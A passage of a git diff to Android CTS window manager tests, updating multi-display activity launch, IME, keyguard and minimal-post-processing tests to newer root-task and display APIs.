-        if (windowingMode == WINDOWING_MODE_FREEFORM) {
+        if (freeform) {
             launchActivity(BOTTOM_RIGHT_LAYOUT_ACTIVITY, WINDOWING_MODE_FREEFORM);
             resizeActivityTask(BOTTOM_RIGHT_LAYOUT_ACTIVITY, 0, 0, 1, 1);
         } else { // stackId == DOCKED_STACK_ID
             launchActivitiesInSplitScreen(
                     getLaunchActivityBuilder().setTargetActivity(BOTTOM_RIGHT_LAYOUT_ACTIVITY),
                     getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-            resizeDockedStack(1, 1, 1, 1);
+            mTaskOrganizer.setRootPrimaryTaskBounds(new Rect(0, 0, 1, 1));
         }
         getDisplayAndWindowState(BOTTOM_RIGHT_LAYOUT_ACTIVITY, false);
 
@@ -144,7 +146,10 @@
         getDisplayAndWindowState(activityName, true);
 
         final Rect containingRect = mWindowState.getContainingFrame();
-        final Rect stableBounds = mDisplay.getStableBounds();
+        final WindowMetrics windowMetrics = mWm.getMaximumWindowMetrics();
+        final Rect stableBounds = new Rect(windowMetrics.getBounds());
+        stableBounds.inset(windowMetrics.getWindowInsets().getInsetsIgnoringVisibility(
+                systemBars() & ~captionBar()));
         final int expectedWidthPx, expectedHeightPx;
         // Evaluate the expected window size in px. If we're using fraction dimensions,
         // calculate the size based on the app rect size. Otherwise, convert the expected
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
index 2abb9de..5946a18 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
@@ -17,7 +17,7 @@
 package android.server.wm;
 
 import static android.app.ActivityTaskManager.INVALID_STACK_ID;
-import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.app.Components.MPP_ACTIVITY;
 import static android.server.wm.app.Components.MPP_ACTIVITY2;
 import static android.server.wm.app.Components.MPP_ACTIVITY3;
@@ -39,13 +39,13 @@
 
     private void launchMppActivity(ComponentName name, boolean preferMinimalPostProcessing) {
         if (preferMinimalPostProcessing) {
-            launchActivity(name, EXTRA_PREFER_MPP, "anything");
+            launchActivity(name, extraString(EXTRA_PREFER_MPP, "anything"));
         } else {
             launchActivity(name);
         }
         mWmState.waitForValidState(name);
 
-        final int stackId = mWmState.getStackIdByActivity(name);
+        final int stackId = mWmState.getRootTaskIdByActivity(name);
 
         assertNotEquals(stackId, INVALID_STACK_ID);
 
@@ -80,13 +80,7 @@
     }
 
     @Test
-    public void testNotPreferMinimalPostProcessingSimple() throws Exception {
-        launchMppActivity(MPP_ACTIVITY, NOT_PREFER_MPP);
-        assertDisplayRequestedMinimalPostProcessing(MPP_ACTIVITY, NOT_PREFER_MPP);
-    }
-
-    @Test
-    public void testAttrPreferMinimalPostProcessingDefault() throws Exception {
+    public void testPreferMinimalPostProcessingDefault() throws Exception {
         launchMppActivity(MPP_ACTIVITY, NOT_PREFER_MPP);
         assertDisplayRequestedMinimalPostProcessing(MPP_ACTIVITY, NOT_PREFER_MPP);
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MockImeHelper.java b/tests/framework/base/windowmanager/src/android/server/wm/MockImeHelper.java
index 2191164..bd6b21d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MockImeHelper.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MockImeHelper.java
@@ -16,6 +16,11 @@
 
 package android.server.wm;
 
+import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
+
+import android.graphics.Color;
+
+import com.android.cts.mockime.ImeSettings;
 import com.android.cts.mockime.MockImeSession;
 
 /**
@@ -36,4 +41,24 @@
             throw new RuntimeException("Failed to create MockImeSession", e);
         }
     }
+
+    public static MockImeSession createManagedMockImeSession(ActivityManagerTestBase base,
+            int keyboardHeight, boolean useFloating) {
+        final ImeSettings.Builder builder = new ImeSettings.Builder();
+        if (useFloating) {
+            builder.setWindowFlags(0, FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
+            // As documented, Window#setNavigationBarColor() is actually ignored when the IME
+            // window does not have FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS.  We are calling
+            // setNavigationBarColor() to ensure it.
+            builder.setNavigationBarColor(Color.BLACK);
+        } else {
+            builder.setInputViewHeight(keyboardHeight).setDrawsBehindNavBar(true);
+        }
+        try {
+            return base.mObjectTracker.manage(MockImeSession.create(
+                    base.mContext, base.mInstrumentation.getUiAutomation(), builder));
+        } catch (Exception e) {
+            throw new RuntimeException("Failed to create MockImeSession", e);
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index 86de555..4d44076 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -24,8 +24,14 @@
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_SINGLE_TOP;
+import static android.server.wm.ActivityLauncher.KEY_ACTION;
 import static android.server.wm.ActivityLauncher.KEY_LAUNCH_ACTIVITY;
+import static android.server.wm.ActivityLauncher.KEY_LAUNCH_IMPLICIT;
+import static android.server.wm.ActivityLauncher.KEY_LAUNCH_PENDING;
 import static android.server.wm.ActivityLauncher.KEY_NEW_TASK;
+import static android.server.wm.ActivityLauncher.KEY_USE_APPLICATION_CONTEXT;
+import static android.server.wm.CliIntentExtra.extraBool;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
@@ -35,12 +41,12 @@
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
 import static android.server.wm.app.Components.NON_RESIZEABLE_ACTIVITY;
 import static android.server.wm.app.Components.RESIZEABLE_ACTIVITY;
-import static android.server.wm.app.Components.SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY;
-import static android.server.wm.app.Components.SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2;
-import static android.server.wm.app.Components.SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3;
+import static android.server.wm.app.Components.SINGLE_TOP_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.app.Components.TOP_ACTIVITY;
 import static android.server.wm.app.Components.VIRTUAL_DISPLAY_ACTIVITY;
+import static android.server.wm.second.Components.IMPLICIT_TARGET_SECOND_ACTIVITY;
+import static android.server.wm.second.Components.IMPLICIT_TARGET_SECOND_TEST_ACTION;
 import static android.server.wm.second.Components.SECOND_ACTIVITY;
 import static android.server.wm.second.Components.SECOND_LAUNCH_BROADCAST_ACTION;
 import static android.server.wm.second.Components.SECOND_LAUNCH_BROADCAST_RECEIVER;
@@ -48,7 +54,6 @@
 import static android.view.Display.DEFAULT_DISPLAY;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
@@ -70,8 +75,6 @@
 import android.server.wm.WindowManagerState.DisplayContent;
 import android.view.SurfaceView;
 
-import com.android.compatibility.common.util.SystemUtil;
-
 import org.junit.Before;
 import org.junit.Test;
 
@@ -160,7 +163,9 @@
     }
 
     /**
-     * Tests launching an existing activity from an activity that resided on secondary display.
+     * Tests launching an existing activity from an activity that resides on secondary display. An
+     * existing activity on a different display should be moved to the display of the launching
+     * activity.
      */
     @Test
     public void testLaunchActivityFromSecondaryDisplay() {
@@ -180,14 +185,14 @@
                 "Activity should be resumed on secondary display");
 
         mBroadcastActionTrigger.launchActivityNewTask(getActivityName(TEST_ACTIVITY));
-        waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
-                "Activity should be the top resumed on default display");
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplayId,
+                "Activity should be resumed on secondary display");
 
         getLaunchActivityBuilder().setUseInstrumentation()
                 .setTargetActivity(TEST_ACTIVITY).setNewTask(true)
-                .setDisplayId(newDisplayId).execute();
-        waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
-                "Activity should be resumed on secondary display");
+                .setDisplayId(DEFAULT_DISPLAY).execute();
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                "Activity should be the top resumed on default display");
     }
 
     /**
@@ -283,7 +288,7 @@
         nonResizeableSession.takeCallbackHistory();
 
         // Try to move the non-resizeable activity to the top of stack on secondary display.
-        moveActivityToStackOrOnTop(NON_RESIZEABLE_ACTIVITY, externalFrontStackId);
+        moveActivityToRootTaskOrOnTop(NON_RESIZEABLE_ACTIVITY, externalFrontStackId);
         // Wait for a while to check that it will move.
         assertTrue("Non-resizeable activity should be moved",
                 mWmState.waitForWithAmState(
@@ -342,22 +347,22 @@
         // Check that non-resizeable activity is on the same display.
         final int newFrontStackId = mWmState.getFocusedStackId();
         final ActivityTask newFrontStack = mWmState.getRootTask(newFrontStackId);
-        assertTrue("Launched activity must be on the same display",
-                newDisplay.mId == newFrontStack.mDisplayId);
+        assertEquals("Launched activity must be on the same display", newDisplay.mId,
+                newFrontStack.mDisplayId);
         assertEquals("Launched activity must be resumed",
                 getActivityName(NON_RESIZEABLE_ACTIVITY),
                 newFrontStack.mResumedActivity);
         mWmState.assertFocusedStack(
                 "Top stack must be the one with just launched activity",
                 newFrontStackId);
-        assertBothDisplaysHaveResumedActivities(pair(newDisplay.mId, LAUNCHING_ACTIVITY),
-                pair(newFrontStack.mDisplayId, NON_RESIZEABLE_ACTIVITY));
+        mWmState.assertResumedActivity("NON_RESIZEABLE_ACTIVITY not resumed",
+                NON_RESIZEABLE_ACTIVITY);
     }
 
     /**
-     * Tests launching an activity on virtual display and then launching another activity via shell
-     * command and without specifying the display id - the second activity must appear on the
-     * primary display.
+     * Tests launching an activity on virtual display and then launching another activity
+     * via shell command and without specifying the display id - the second activity
+     * must appear on the same display due to process affinity.
      */
     @Test
     public void testConsequentLaunchActivity() {
@@ -374,11 +379,37 @@
         // Launch second activity without specifying display.
         launchActivity(LAUNCHING_ACTIVITY);
 
+        // Check that activity is launched in focused stack on the new display.
+        waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
+                "Launched activity must be focused");
+        mWmState.assertResumedActivity("LAUNCHING_ACTIVITY must be resumed", LAUNCHING_ACTIVITY);
+    }
+
+    /**
+     * Tests launching an activity on a virtual display and then launching another activity in
+     * a new process via shell command and without specifying the display id - the second activity
+     * must appear on the primary display.
+     */
+    @Test
+    public void testConsequentLaunchActivityInNewProcess() {
+        // Create new virtual display.
+        final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setSimulateDisplay(true).createDisplay();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
+                "Activity launched on secondary display must be on top");
+
+        // Launch second activity without specifying display.
+        launchActivity(SECOND_ACTIVITY);
+
         // Check that activity is launched in focused stack on primary display.
-        waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, DEFAULT_DISPLAY,
+        waitAndAssertTopResumedActivity(SECOND_ACTIVITY, DEFAULT_DISPLAY,
                 "Launched activity must be focused");
         assertBothDisplaysHaveResumedActivities(pair(newDisplay.mId, TEST_ACTIVITY),
-                pair(DEFAULT_DISPLAY, LAUNCHING_ACTIVITY));
+                pair(DEFAULT_DISPLAY, SECOND_ACTIVITY));
     }
 
     /**
@@ -471,6 +502,30 @@
     }
 
     /**
+     * Tests that when an {@link Activity} is running on one display but is started from a second
+     * display then the {@link Activity} is moved to the second display.
+     */
+    @Test
+    public void testLaunchExistingActivityReparentDisplay() {
+        // Create new virtual display.
+        final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setSimulateDisplay(true).createDisplay();
+
+        launchActivityOnDisplay(SECOND_ACTIVITY, DEFAULT_DISPLAY);
+
+        waitAndAssertTopResumedActivity(SECOND_ACTIVITY, DEFAULT_DISPLAY,
+                "Must launch activity on same display.");
+
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId,
+                extraBool(KEY_USE_APPLICATION_CONTEXT, true), extraBool(KEY_NEW_TASK, true),
+                extraBool(KEY_LAUNCH_ACTIVITY, true), extraBool(KEY_LAUNCH_IMPLICIT, true),
+                extraString(KEY_ACTION, IMPLICIT_TARGET_SECOND_TEST_ACTION));
+
+        waitAndAssertTopResumedActivity(IMPLICIT_TARGET_SECOND_ACTIVITY, newDisplay.mId,
+                "Must launch activity on same display.");
+    }
+
+    /**
      * Tests launching an activity to secondary display from activity on primary display.
      */
     @Test
@@ -618,11 +673,11 @@
     }
 
     /**
-     * Tests that task affinity does affect what display an activity is launched on but that
-     * matching the task component root does.
+     * Tests that if a second task has the same affinity as a running task but in a separate
+     * process the second task launches in the same display.
      */
     @Test
-    public void testTaskMatchAcrossDisplays() {
+    public void testLaunchSameAffinityLaunchesSameDisplay() {
         final DisplayContent newDisplay = createManagedVirtualDisplaySession()
                 .setSimulateDisplay(true).createDisplay();
 
@@ -633,7 +688,8 @@
         final int frontStackId = mWmState.getFrontRootTaskId(newDisplay.mId);
         final ActivityTask firstFrontStack = mWmState.getRootTask(frontStackId);
         assertEquals("Activity launched on secondary display must be resumed",
-                getActivityName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
+                getActivityName(LAUNCHING_ACTIVITY),
+                firstFrontStack.mResumedActivity);
         mWmState.assertFocusedStack("Top stack must be on secondary display", frontStackId);
 
         executeShellCommand("am start -n " + getActivityName(ALT_LAUNCHING_ACTIVITY));
@@ -641,29 +697,26 @@
 
         // Check that second activity gets launched on the default display despite
         // the affinity match on the secondary display.
-        final int defaultDisplayFrontStackId = mWmState.getFrontRootTaskId(
-                DEFAULT_DISPLAY);
-        final ActivityTask defaultDisplayFrontStack =
-                mWmState.getRootTask(defaultDisplayFrontStackId);
-        assertEquals("Activity launched on default display must be resumed",
-                getActivityName(ALT_LAUNCHING_ACTIVITY),
-                defaultDisplayFrontStack.mResumedActivity);
-        mWmState.assertFocusedStack("Top stack must be on primary display",
-                defaultDisplayFrontStackId);
-
-        executeShellCommand("am start -n " + getActivityName(LAUNCHING_ACTIVITY));
+        final int displayFrontStackId = mWmState.getFrontRootTaskId(newDisplay.mId);
+        final ActivityTask displayFrontStack =
+                mWmState.getRootTask(displayFrontStackId);
+        waitAndAssertTopResumedActivity(ALT_LAUNCHING_ACTIVITY, newDisplay.mId,
+                "Activity launched on same display must be resumed");
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
         waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
                 "Existing task must be brought to front");
 
         // Check that the third intent is redirected to the first task due to the root
         // component match on the secondary display.
         final ActivityTask secondFrontStack = mWmState.getRootTask(frontStackId);
+        final int secondFrontStackId = mWmState.getFrontRootTaskId(newDisplay.mId);
         assertEquals("Activity launched on secondary display must be resumed",
-                getActivityName(LAUNCHING_ACTIVITY), secondFrontStack.mResumedActivity);
-        mWmState.assertFocusedStack("Top stack must be on primary display", frontStackId);
-        assertEquals("Second display must only contain 1 root task", 1,
+                getActivityName(ALT_LAUNCHING_ACTIVITY),
+                displayFrontStack.mResumedActivity);
+        mWmState.assertFocusedStack("Top stack must be on primary display", secondFrontStackId);
+        assertEquals("Second display must contain 2 root tasks", 2,
                 mWmState.getDisplay(newDisplay.mId).getRootTasks().size());
-        assertEquals("Top task must only contain 1 activity", 1,
+        assertEquals("Top task must contain 2 activities", 2,
                 secondFrontStack.getActivities().size());
     }
 
@@ -734,8 +787,8 @@
     }
 
     /**
-     * Tests that a new task launched by an activity will end up on that activity's display
-     * even if the focused stack is not on that activity's display.
+     * Tests that a new activity launched by an activity will end up on the same display
+     * even if the task stack is not on the top for the display.
      */
     @Test
     public void testNewTaskSameDisplay() {
@@ -751,10 +804,43 @@
 
         executeShellCommand("am start -n " + getActivityName(TEST_ACTIVITY));
 
-        // Check that the second activity is launched on the default display
-        waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+        // Check that the second activity is launched on the same display
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
                 "Activity launched on default display must be resumed");
-        assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, TEST_ACTIVITY),
+
+        mBroadcastActionTrigger.launchActivityNewTask(getActivityName(LAUNCHING_ACTIVITY));
+
+        // Check that the third activity ends up in a new stack in the same display where the
+        // first activity lands
+        waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
+                "Activity must be launched on secondary display");
+        assertEquals("Secondary display must contain 2 stacks", 2,
+                mWmState.getDisplay(newDisplay.mId).mRootTasks.size());
+    }
+
+    /**
+     * Tests that a new task launched by an activity will end up on the same display
+     * even if the focused stack is not on that activity's display.
+     */
+    @Test
+    public void testNewTaskDefaultDisplay() {
+        final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setSimulateDisplay(true)
+                .createDisplay();
+
+        launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId);
+
+        // Check that the first activity is launched onto the secondary display
+        waitAndAssertTopResumedActivity(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId,
+                "Activity launched on secondary display must be resumed");
+
+        launchActivityOnDisplay(SECOND_ACTIVITY, DEFAULT_DISPLAY);
+
+        // Check that the second activity is launched on the default display because the affinity
+        // is different
+        waitAndAssertTopResumedActivity(SECOND_ACTIVITY, DEFAULT_DISPLAY,
+                "Activity launched on default display must be resumed");
+        assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, SECOND_ACTIVITY),
                 pair(newDisplay.mId, BROADCAST_RECEIVER_ACTIVITY));
 
         mBroadcastActionTrigger.launchActivityNewTask(getActivityName(LAUNCHING_ACTIVITY));
@@ -765,11 +851,49 @@
                 "Activity must be launched on secondary display");
         assertEquals("Secondary display must contain 2 stacks", 2,
                 mWmState.getDisplay(newDisplay.mId).mRootTasks.size());
-        assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, TEST_ACTIVITY),
+        assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, SECOND_ACTIVITY),
                 pair(newDisplay.mId, LAUNCHING_ACTIVITY));
     }
 
     /**
+     * Test that launching an activity implicitly will end up on the same display
+     */
+    @Test
+    public void testLaunchingFromApplicationContext() {
+        final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setSimulateDisplay(true)
+                .createDisplay();
+
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId,
+                extraBool(KEY_LAUNCH_ACTIVITY, true), extraBool(KEY_LAUNCH_IMPLICIT, true),
+                extraBool(KEY_NEW_TASK, true), extraBool(KEY_USE_APPLICATION_CONTEXT, true),
+                extraString(KEY_ACTION, IMPLICIT_TARGET_SECOND_TEST_ACTION));
+        waitAndAssertTopResumedActivity(IMPLICIT_TARGET_SECOND_ACTIVITY, newDisplay.mId,
+                "Implicitly launched activity must launch on the same display");
+    }
+
+    /**
+     * Test that launching an activity from pending intent will end up on the same display
+     */
+    @Test
+    public void testLaunchingFromPendingIntent() {
+        final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setSimulateDisplay(true)
+                .createDisplay();
+
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId,
+                extraBool(KEY_LAUNCH_ACTIVITY, true),
+                extraBool(KEY_LAUNCH_IMPLICIT, true),
+                extraBool(KEY_NEW_TASK, true),
+                extraBool(KEY_USE_APPLICATION_CONTEXT, true),
+                extraBool(KEY_LAUNCH_PENDING, true),
+                extraString(KEY_ACTION, IMPLICIT_TARGET_SECOND_TEST_ACTION));
+
+        waitAndAssertTopResumedActivity(IMPLICIT_TARGET_SECOND_ACTIVITY, newDisplay.mId,
+                "Activity launched from pending intent must launch on the same display");
+    }
+
+    /**
      * Tests than an immediate launch after new display creation is handled correctly.
      */
     @Test
@@ -800,42 +924,6 @@
 
     }
 
-    /** Tests launching of activities on a single task instance display. */
-    @Test
-    public void testSingleTaskInstanceDisplay() {
-        DisplayContent display = createManagedVirtualDisplaySession()
-                .setSimulateDisplay(true)
-                .createDisplay();
-        final int displayId = display.mId;
-
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> mAtm.setDisplayToSingleTaskInstance(displayId));
-        display = getDisplayState(displayId);
-        assertTrue("Display must be set to singleTaskInstance", display.mSingleTaskInstance);
-
-        // SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY will launch
-        // SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2 in the same task and
-        // SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3 in different task.
-        launchActivityOnDisplay(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY, displayId);
-
-        waitAndAssertTopResumedActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3, DEFAULT_DISPLAY,
-                "Activity should be resumed on default display");
-
-        display = getDisplayState(displayId);
-        // Verify that the 2 activities in the same task are on the display and the one in a
-        // different task isn't on the display, but on the default display
-        assertTrue("Display should contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY",
-                display.containsActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY));
-        assertTrue("Display should contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2",
-                display.containsActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2));
-
-        assertFalse("Display shouldn't contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3",
-                display.containsActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3));
-        assertTrue("Display should contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3",
-                getDisplayState(DEFAULT_DISPLAY).containsActivity(
-                        SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3));
-    }
-
     @Test
     public void testLaunchPendingIntentActivity() throws Exception {
         final DisplayContent displayContent = createManagedVirtualDisplaySession()
@@ -885,6 +973,34 @@
         assertBroughtExistingTaskToAnotherDisplay(FLAG_ACTIVITY_SINGLE_TOP, TEST_ACTIVITY);
     }
 
+    @Test
+    public void testLaunchActivitySingleTopOnNewDisplay() {
+        launchActivity(SINGLE_TOP_ACTIVITY);
+        waitAndAssertTopResumedActivity(SINGLE_TOP_ACTIVITY, DEFAULT_DISPLAY,
+                "Activity launched on primary display and on top");
+        final int taskId = mWmState.getTaskByActivity(SINGLE_TOP_ACTIVITY).getTaskId();
+
+        // Create new virtual display.
+        final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setSimulateDisplay(true)
+                .createDisplay();
+
+        // Launch activity on new secondary display.
+        getLaunchActivityBuilder()
+                .setUseInstrumentation()
+                .setTargetActivity(SINGLE_TOP_ACTIVITY)
+                .allowMultipleInstances(false)
+                .setDisplayId(newDisplay.mId).execute();
+
+        waitAndAssertTopResumedActivity(SINGLE_TOP_ACTIVITY, newDisplay.mId,
+                "Activity launched on secondary display must be on top");
+
+        final int taskId2 = mWmState.getTaskByActivity(SINGLE_TOP_ACTIVITY).getTaskId();
+        assertEquals("Activity must be in the same task.", taskId, taskId2);
+        assertEquals("Activity is the only member of its task", 1,
+                mWmState.getActivityCountInTask(taskId2, null));
+    }
+
     private void assertBroughtExistingTaskToAnotherDisplay(int flags, ComponentName topActivity) {
         // Start TEST_ACTIVITY on top of LAUNCHING_ACTIVITY within the same task
         getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY).execute();
@@ -910,7 +1026,7 @@
         intent.setClassName(activity.getPackageName(), activity.getClassName());
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         return PendingIntent.getActivity(mContext, 1 /* requestCode */, intent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
     }
 
     public static class ImmediateLaunchTestActivity extends Activity {}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
index caf44c9..e8910e8 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
@@ -21,6 +21,7 @@
 import static android.server.wm.CommandSession.ActivityCallback.ON_RESUME;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.Display.INVALID_DISPLAY;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_LOCAL;
 import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -161,7 +162,7 @@
         final DisplayContent newDisplay = virtualDisplaySession
                 .setSimulateDisplay(true)
                 .setShowSystemDecorations(true)
-                .setRequestShowIme(true)
+                .setDisplayImePolicy(DISPLAY_IME_POLICY_LOCAL)
                 .createDisplay();
 
         // Launch activity on the secondary display and make IME show.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
index 88202d9..06312f0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
@@ -20,8 +20,6 @@
 import static android.server.wm.app.Components.DISMISS_KEYGUARD_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.Presubmit;
@@ -208,8 +206,13 @@
         mWmState.assertKeyguardShowingAndNotOccluded();
         mWmState.waitAndAssertKeyguardShownOnSecondaryDisplay(decoredSystemDisplayId);
 
-        // Change decored display. Keyguard should still be shown on the decored system display
-        virtualDisplaySession.resizeDisplay();
+        // Resize decored display. Keyguard should still be shown on the decored system display
+        final ReportedDisplayMetrics displayMetrics =
+                ReportedDisplayMetrics.getDisplayMetrics(decoredSystemDisplayId);
+        final Size overrideSize = new Size(
+                (int) (displayMetrics.physicalSize.getWidth() * 0.5),
+                (int) (displayMetrics.physicalSize.getHeight() * 0.5));
+        displayMetrics.setDisplayMetrics(overrideSize, displayMetrics.physicalDensity);
         mWmState.computeState();
         mWmState.waitAndAssertKeyguardShownOnSecondaryDisplay(decoredSystemDisplayId);
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index 3584353..d57c3bb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -18,11 +18,11 @@
 
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.server.wm.WindowManagerState.STATE_RESUMED;
-import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
 import static android.server.wm.ComponentNameUtils.getWindowName;
 import static android.server.wm.StateLogger.logE;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
 import static android.server.wm.WindowManagerState.TRANSIT_TASK_CLOSE;
 import static android.server.wm.WindowManagerState.TRANSIT_TASK_OPEN;
 import static android.server.wm.app.Components.BOTTOM_ACTIVITY;
@@ -49,11 +49,11 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.Presubmit;
-import android.server.wm.WindowManagerState.DisplayContent;
-import android.server.wm.WindowManagerState.ActivityTask;
 import android.server.wm.CommandSession.ActivityCallback;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.SizeInfo;
+import android.server.wm.WindowManagerState.ActivityTask;
+import android.server.wm.WindowManagerState.DisplayContent;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -390,7 +390,7 @@
                 pair(newDisplay.mId, TEST_ACTIVITY));
 
         // Move activity from secondary display to primary.
-        moveActivityToStackOrOnTop(TEST_ACTIVITY, defaultDisplayStackId);
+        moveActivityToRootTaskOrOnTop(TEST_ACTIVITY, defaultDisplayStackId);
         waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
                 "Moved activity must be on top");
     }
@@ -411,7 +411,7 @@
         mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
 
         tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+                WINDOWING_MODE_MULTI_WINDOW);
     }
 
     /**
@@ -430,7 +430,7 @@
